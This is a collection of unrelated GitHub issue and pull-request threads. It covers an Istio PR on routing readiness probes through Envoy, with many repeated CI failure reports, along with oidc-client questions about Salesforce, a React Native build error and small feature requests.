ID: f567a739-943e-c85d-07a1-d43229fa6d4e
Version Independent ID: c41ddd0d-df30-7ac0-407b-d7a9c9a18478
Content: CWnd Class
Content Source: docs/mfc/reference/cwnd-class.md
Product: visual-cpp
Technology: cpp-mfc
GitHub Login: @mikeblome
Microsoft Alias: mblome

@songxia233 thanks! Fix should appear by July 15.


Feature request: A way to add paragraphs between fields.

I don't see a clear way to add content between fields. Could this be implemented?

@jonearley
See this:

https://gist.github.com/barseghyanartur/c6e0123dd961fbac1b39

Or switch to another form builder:

https://www.djangopackages.com/grids/g/form-builder/

Thanks @barseghyanartur - that's a neat recipe!


WIP: probe through envoy

Please provide a description for what this PR is for.
And to help us figure out who should review this PR, please
put an X in all the areas that this PR affects.
[ ] Configuration Infrastructure
[ ] Docs
[ ] Installation
[ ] Networking
[ ] Performance and Scalability
[ ] Policies and Telemetry
[ ] Security
[ ] Test and Release
[ ] User Experience
[ ] Developer Infrastructure

@howardjohn: The following test failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

unit-tests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test unit-tests_istio_release-1.4

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@howardjohn: The following tests failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

unit-tests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test unit-tests_istio_release-1.4

e2e-simpleTests-distroless_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTests-distroless_istio_release-1.4

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@howardjohn: The following tests failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

unit-tests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test unit-tests_istio_release-1.4

e2e-simpleTests-distroless_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTests-distroless_istio_release-1.4

e2e-dashboard_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-dashboard_istio_release-1.4

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@howardjohn: The following tests failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

unit-tests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test unit-tests_istio_release-1.4

e2e-simpleTests-distroless_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTests-distroless_istio_release-1.4

e2e-dashboard_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-dashboard_istio_release-1.4

e2e-simpleTestsMinProfile_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTestsMinProfile_istio_release-1.4

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@howardjohn: The following tests failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

unit-tests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test unit-tests_istio_release-1.4

e2e-simpleTests-distroless_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTests-distroless_istio_release-1.4

e2e-dashboard_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-dashboard_istio_release-1.4

e2e-simpleTestsMinProfile_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTestsMinProfile_istio_release-1.4

e2e-simpleTests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTests_istio_release-1.4

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@howardjohn: The following tests failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

unit-tests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test unit-tests_istio_release-1.4

e2e-simpleTests-distroless_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTests-distroless_istio_release-1.4

e2e-dashboard_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-dashboard_istio_release-1.4

e2e-simpleTestsMinProfile_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTestsMinProfile_istio_release-1.4

e2e-simpleTests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTests_istio_release-1.4

e2e-mixer-no_auth_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-mixer-no_auth_istio_release-1.4

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@howardjohn: The following tests failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

unit-tests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test unit-tests_istio_release-1.4

e2e-simpleTests-distroless_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTests-distroless_istio_release-1.4

e2e-dashboard_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-dashboard_istio_release-1.4

e2e-simpleTestsMinProfile_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTestsMinProfile_istio_release-1.4

e2e-simpleTests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTests_istio_release-1.4

e2e-mixer-no_auth_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-mixer-no_auth_istio_release-1.4

e2e-bookInfoTests-envoyv2-v1alpha3_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-bookInfoTests-envoyv2-v1alpha3_istio_release-1.4

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@howardjohn: The following tests failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

unit-tests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test unit-tests_istio_release-1.4

e2e-simpleTests-distroless_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTests-distroless_istio_release-1.4

e2e-dashboard_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-dashboard_istio_release-1.4

e2e-simpleTestsMinProfile_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTestsMinProfile_istio_release-1.4

e2e-simpleTests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTests_istio_release-1.4

e2e-mixer-no_auth_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-mixer-no_auth_istio_release-1.4

e2e-bookInfoTests-envoyv2-v1alpha3_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-bookInfoTests-envoyv2-v1alpha3_istio_release-1.4

pilot-e2e-envoyv2-v1alpha3_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test pilot-e2e-envoyv2-v1alpha3_istio_release-1.4

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@howardjohn: The following tests failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

unit-tests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test unit-tests_istio_release-1.4

e2e-simpleTests-distroless_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTests-distroless_istio_release-1.4

e2e-dashboard_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-dashboard_istio_release-1.4

e2e-simpleTestsMinProfile_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTestsMinProfile_istio_release-1.4

e2e-simpleTests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTests_istio_release-1.4

e2e-mixer-no_auth_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-mixer-no_auth_istio_release-1.4

e2e-bookInfoTests-envoyv2-v1alpha3_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-bookInfoTests-envoyv2-v1alpha3_istio_release-1.4

pilot-e2e-envoyv2-v1alpha3_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test pilot-e2e-envoyv2-v1alpha3_istio_release-1.4

e2e-simpleTests-cni_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTests-cni_istio_release-1.4

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@howardjohn: The following tests failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

unit-tests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test unit-tests_istio_release-1.4

e2e-simpleTests-distroless_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTests-distroless_istio_release-1.4

e2e-dashboard_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-dashboard_istio_release-1.4

e2e-simpleTestsMinProfile_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTestsMinProfile_istio_release-1.4

e2e-simpleTests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTests_istio_release-1.4

e2e-mixer-no_auth_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-mixer-no_auth_istio_release-1.4

e2e-bookInfoTests-envoyv2-v1alpha3_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-bookInfoTests-envoyv2-v1alpha3_istio_release-1.4

pilot-e2e-envoyv2-v1alpha3_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test pilot-e2e-envoyv2-v1alpha3_istio_release-1.4

e2e-simpleTests-cni_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTests-cni_istio_release-1.4

pilot-multicluster-e2e_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test pilot-multicluster-e2e_istio_release-1.4

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@howardjohn: The following tests failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

unit-tests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test unit-tests_istio_release-1.4

e2e-simpleTests-distroless_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTests-distroless_istio_release-1.4

e2e-dashboard_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-dashboard_istio_release-1.4

e2e-simpleTestsMinProfile_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTestsMinProfile_istio_release-1.4

e2e-simpleTests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTests_istio_release-1.4

e2e-mixer-no_auth_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-mixer-no_auth_istio_release-1.4

e2e-bookInfoTests-envoyv2-v1alpha3_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-bookInfoTests-envoyv2-v1alpha3_istio_release-1.4

pilot-e2e-envoyv2-v1alpha3_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test pilot-e2e-envoyv2-v1alpha3_istio_release-1.4

e2e-simpleTests-cni_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTests-cni_istio_release-1.4

pilot-multicluster-e2e_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test pilot-multicluster-e2e_istio_release-1.4

integ-istioio-k8s-tests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test integ-istioio-k8s-tests_istio_release-1.4

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@howardjohn: The following tests failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

unit-tests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test unit-tests_istio_release-1.4

e2e-simpleTests-distroless_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTests-distroless_istio_release-1.4

e2e-dashboard_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-dashboard_istio_release-1.4

e2e-simpleTestsMinProfile_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTestsMinProfile_istio_release-1.4

e2e-simpleTests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTests_istio_release-1.4

e2e-mixer-no_auth_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-mixer-no_auth_istio_release-1.4

e2e-bookInfoTests-envoyv2-v1alpha3_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-bookInfoTests-envoyv2-v1alpha3_istio_release-1.4

pilot-e2e-envoyv2-v1alpha3_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test pilot-e2e-envoyv2-v1alpha3_istio_release-1.4

e2e-simpleTests-cni_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTests-cni_istio_release-1.4

pilot-multicluster-e2e_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test pilot-multicluster-e2e_istio_release-1.4

integ-istioio-k8s-tests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test integ-istioio-k8s-tests_istio_release-1.4

integ-telemetry-k8s-tests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test integ-telemetry-k8s-tests_istio_release-1.4

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@howardjohn: The following tests failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

unit-tests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test unit-tests_istio_release-1.4

e2e-simpleTests-distroless_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTests-distroless_istio_release-1.4

e2e-dashboard_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-dashboard_istio_release-1.4

e2e-simpleTestsMinProfile_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTestsMinProfile_istio_release-1.4

e2e-simpleTests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTests_istio_release-1.4

e2e-mixer-no_auth_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-mixer-no_auth_istio_release-1.4

e2e-bookInfoTests-envoyv2-v1alpha3_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-bookInfoTests-envoyv2-v1alpha3_istio_release-1.4

pilot-e2e-envoyv2-v1alpha3_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test pilot-e2e-envoyv2-v1alpha3_istio_release-1.4

e2e-simpleTests-cni_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTests-cni_istio_release-1.4

pilot-multicluster-e2e_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test pilot-multicluster-e2e_istio_release-1.4

integ-istioio-k8s-tests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test integ-istioio-k8s-tests_istio_release-1.4

integ-telemetry-k8s-tests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test integ-telemetry-k8s-tests_istio_release-1.4

integ-mixer-k8s-tests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test integ-mixer-k8s-tests_istio_release-1.4

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@howardjohn: The following tests failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

unit-tests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test unit-tests_istio_release-1.4

e2e-simpleTests-distroless_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTests-distroless_istio_release-1.4

e2e-dashboard_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-dashboard_istio_release-1.4

e2e-simpleTestsMinProfile_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTestsMinProfile_istio_release-1.4

e2e-simpleTests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTests_istio_release-1.4

e2e-mixer-no_auth_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-mixer-no_auth_istio_release-1.4

e2e-bookInfoTests-envoyv2-v1alpha3_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-bookInfoTests-envoyv2-v1alpha3_istio_release-1.4

pilot-e2e-envoyv2-v1alpha3_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test pilot-e2e-envoyv2-v1alpha3_istio_release-1.4

e2e-simpleTests-cni_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTests-cni_istio_release-1.4

pilot-multicluster-e2e_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test pilot-multicluster-e2e_istio_release-1.4

integ-istioio-k8s-tests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test integ-istioio-k8s-tests_istio_release-1.4

integ-telemetry-k8s-tests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test integ-telemetry-k8s-tests_istio_release-1.4

integ-mixer-k8s-tests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test integ-mixer-k8s-tests_istio_release-1.4

integ-pilot-k8s-tests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test integ-pilot-k8s-tests_istio_release-1.4

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@howardjohn: The following tests failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

unit-tests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test unit-tests_istio_release-1.4

e2e-simpleTests-distroless_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTests-distroless_istio_release-1.4

e2e-dashboard_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-dashboard_istio_release-1.4

e2e-simpleTestsMinProfile_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTestsMinProfile_istio_release-1.4

e2e-simpleTests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTests_istio_release-1.4

e2e-mixer-no_auth_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-mixer-no_auth_istio_release-1.4

e2e-bookInfoTests-envoyv2-v1alpha3_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-bookInfoTests-envoyv2-v1alpha3_istio_release-1.4

pilot-e2e-envoyv2-v1alpha3_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test pilot-e2e-envoyv2-v1alpha3_istio_release-1.4

e2e-simpleTests-cni_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTests-cni_istio_release-1.4

pilot-multicluster-e2e_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test pilot-multicluster-e2e_istio_release-1.4

integ-istioio-k8s-tests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test integ-istioio-k8s-tests_istio_release-1.4

integ-telemetry-k8s-tests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test integ-telemetry-k8s-tests_istio_release-1.4

integ-mixer-k8s-tests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test integ-mixer-k8s-tests_istio_release-1.4

integ-pilot-k8s-tests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test integ-pilot-k8s-tests_istio_release-1.4

integ-security-k8s-tests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test integ-security-k8s-tests_istio_release-1.4

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@howardjohn: The following tests failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

e2e-simpleTests-distroless_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-simpleTests-distroless_istio_release-1.4

e2e-mixer-no_auth_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-mixer-no_auth_istio_release-1.4

e2e-bookInfoTests-envoyv2-v1alpha3_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test e2e-bookInfoTests-envoyv2-v1alpha3_istio_release-1.4

pilot-e2e-envoyv2-v1alpha3_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test pilot-e2e-envoyv2-v1alpha3_istio_release-1.4

pilot-multicluster-e2e_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test pilot-multicluster-e2e_istio_release-1.4

integ-istioio-k8s-tests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test integ-istioio-k8s-tests_istio_release-1.4

integ-telemetry-k8s-tests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test integ-telemetry-k8s-tests_istio_release-1.4

integ-mixer-k8s-tests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test integ-mixer-k8s-tests_istio_release-1.4

integ-pilot-k8s-tests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test integ-pilot-k8s-tests_istio_release-1.4

integ-security-k8s-tests_istio_release-1.4
111e8e5a6969e848fb96fcf0b1d75e02dcb2a984
link
/test integ-security-k8s-tests_istio_release-1.4

unit-tests_istio_release-1.4
e6abf5a871830ad82f5d469e96b7324ee7c36854
link
/test unit-tests_istio_release-1.4

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@ramaraochavali curious what you think of this? this is for https://github.com/istio/istio/issues/21345.

@howardjohn  the new workers started stat check that I added recently does ensure workers are up . Did you see that envoy is ready (with that stat) and still it is not processing requests - that is why you want to change? I

Specifically the issue was seen on 1.4 which doesn't have that, but
something went wrong causing the worker thread to get stuck at max CPU and
accepting no connections or anything. So o think even on master it would
still pass the readiness probe
On Fri, Feb 21, 2020, 10:18 PM Rama Chavali<EMAIL_ADDRESS>wrote:

@howardjohn https://github.com/howardjohn the new workers started stat
check that I added recently does ensure workers are up . Did you see that
envoy is ready (with that stat) and still it is not processing requests -
that is why you want to change? I
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/istio/istio/pull/21347?email_source=notifications&email_token=AAEYGXO57DJOWX4UPU4PB6TREC7UHA5CNFSM4KZHSS52YY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOEMUYLSQ#issuecomment-589923786,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAEYGXIXHYQEAY5OXY7J3T3REC7UHANCNFSM4KZHSS5Q
.

I see. Interesting. Let me think about it.

I guess we should probably look at configuring watchdog in bootstrap https://www.envoyproxy.io/docs/envoy/latest/api-v2/config/bootstrap/v2/bootstrap.proto.html?highlight=watchdog#config-bootstrap-v2-watchdog rather than proxying readiness probes  via worker threads. Watchdogs https://www.envoyproxy.io/docs/envoy/latest/operations/performance#watchdog generally provide better behaviour looking at multiple worker threads.

I actually think a belt and braces approach is better, both watchdog and a readinessProbe that truly indicates readiness feels like the right thing to do.

I agree, both seem useful. it's like a readiness vs liveness probe in some ways
if there's no objections I'll send a pr out to master to turn these both on by default

I do not have a strong objection to proxying readiness probes via Envoy, however I do think

It may be redundant because watchdog would have already detected and killed Envoy by that time readiness probe fails (with 5 or whatever attempts that it takes to fail)
The readiness probe only looks at one worker thread (through which it is going) while watchdog looks at all.

Having said that, I do see the point of readiness probe being an additional safety measure that could detect cases which watch dog could not (which I doubt would be the case, but possible) also I can not think of any side affects of routing it via Envoy - So no harm in trying I guess.

Yeah I pretty much agree with you. I'll close this an open another or against master later. thanks!


How to override the post form function in JSON service?

As I am getting the response in application/x-www-form-urlencoded  format, need the response in JSON format in the token call. We are making calls from JavaScript to Salesforce through AWS api.

In the JSON service, in the postform function (JsonService.prototype.postForm), the content-type set is application/x-www-form-urlencoded, how to override the function to set content type as application/json?

What is the purpose of setting application/x-www-form-urlencoded in JSONservice?

Thanks.
Appreciate the help.

As I am getting the response in application/x-www-form-urlencoded format, need the response in JSON format in the token call.

This is according to spec.

Thanks Brock.
I have one more question, Salesforce IDP doesn't support post_logout_redirect_uri, what must be the approach to logout the user and take the user to login page?

No idea -- check with them.

Thanks Brock.
Inside userManager.js,
_revokeAccessTokenInternal(access_token, required) {
        // check for JWT vs. reference token
        if (**!access_token || access_token.indexOf('.') >= 0**) {
            return Promise.resolve(false);
        }
        return this._tokenRevocationClient.revoke(access_token, required).then(() => true);
    }

If the access token contains .(dot) then it is skipping the revoke call, is it according to the OpenID Specs that access token should not contain dot (.) ?

What is the purpose of this condition?

Thanks.
Appreciate your help.

If it's a JWT then revocation likely won't work.

Thanks @brockallen .
Integrate Salesforce registration page with VanillaJS, getting the error - No matching state found in storage
We are redirecting the user to Salesforce registration page when Create Account button is created.
Once the User registers in Salesforce, the user is redirected to our site but we are getting this error.  ('No matching state found in storage').
We tried the below solution but still getting the same error.

As I stated in my answer, the oidc client maintains state information in the local storage so that it can verify that it got the response back from the intended server. You can mimic this by generating a secure random string and saving it in localStorage. Do this before sending a request to your auth server to register a new user.

Source - https://stackoverflow.com/questions/55546148/integrate-third-party-login-in-from-my-registration-page-with-identityserver4-an
Is there a function related to creating registration? How to fix this issue?
Thanks.
Appreciate your help.
PS: I would like to contribute to this library, let me know how can I do it.


'rndocumentpicker/rndocumentpicker.h' file not found

build with  React Native 0.75.1 shows  error: 'rndocumentpicker/rndocumentpicker.h' file not found
chang podfile like below
if respond_to?(:install_modules_dependencies, true)
install_modules_dependencies(s)
else
s.dependency "React-Core"
s.dependency "React-Codegen"
s.dependency "RCT-Folly"
s.dependency "RCTRequired"
s.dependency "RCTTypeSafety"
s.dependency "ReactCommon/turbomodule/core"
end

Issue Reproduced in RN 0.75.2 as well.


German translation, small fixes

Thank you for your contribution. The code fixes I've been meaning to do for a while now, just be so busy with other things, again thank you.


DialogHost - add AllowsTransparency as parameter

Hi,
Could you please add a new parameter on the DialogHost to manage the AllowsTransparency of "controlzEx:PopupEx" ?
